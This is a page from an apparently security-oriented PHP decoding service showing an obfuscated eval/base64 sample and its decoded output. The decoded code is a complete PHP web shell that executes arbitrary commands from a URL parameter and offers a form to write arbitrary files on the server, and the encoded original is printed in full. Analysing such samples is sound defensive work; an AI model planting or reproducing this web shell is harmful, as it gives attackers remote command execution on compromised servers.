Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCmlmKGlzc2V0KCRfR0VUWydjbWQnXSkpew0KCSRzaGVsbCA9IGV..
Decoded Output download
?>b'<?php
if(isset($_GET[\'cmd\'])){
$shell = exec($_GET[\'cmd\']);
$shell2 = shell_exec($_GET[\'cmd\']);
echo $shell.PHP_EOL;
echo $shell2;
} elseif(isset($_GET[\'upload\'])){
?>
<form action="" method="POST">
code: <input type="text" name="code"> <br>
file name:<input type="text" name="filename"> <br>
<button type="submit" name="submit" value="upload">
</form>
<?php
}
if(isset($_POST[\'submit\'])){
$code = $_POST[\'code\'];
$file = $_POST[\'filename\'];
file_put_contents($file,$code);
}'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCmlmKGlzc2V0KCRfR0VUWydjbWQnXSkpew0KCSRzaGVsbCA9IGV4ZWMoJF9HRVRbJ2NtZCddKTsNCgkkc2hlbGwyID0gc2hlbGxfZXhlYygkX0dFVFsnY21kJ10pOw0KCWVjaG8gJHNoZWxsLlBIUF9FT0w7DQoJZWNobyAkc2hlbGwyOw0KfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSl7DQoJPz4NCgk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4NCgljb2RlOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29kZSI+IDxicj4NCglmaWxlIG5hbWU6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGVuYW1lIj4gPGJyPg0KCTxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJ1cGxvYWQiPg0KCTwvZm9ybT4NCjw/cGhwDQp9DQppZihpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSl7DQoJJGNvZGUgPSAkX1BPU1RbJ2NvZGUnXTsNCgkkZmlsZSA9ICRfUE9TVFsnZmlsZW5hbWUnXTsNCglmaWxlX3B1dF9jb250ZW50cygkZmlsZSwkY29kZSk7DQp9")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | a864978d296784108cf74567a36411a9 |
Eval Count | 1 |
Decode Time | 96 ms |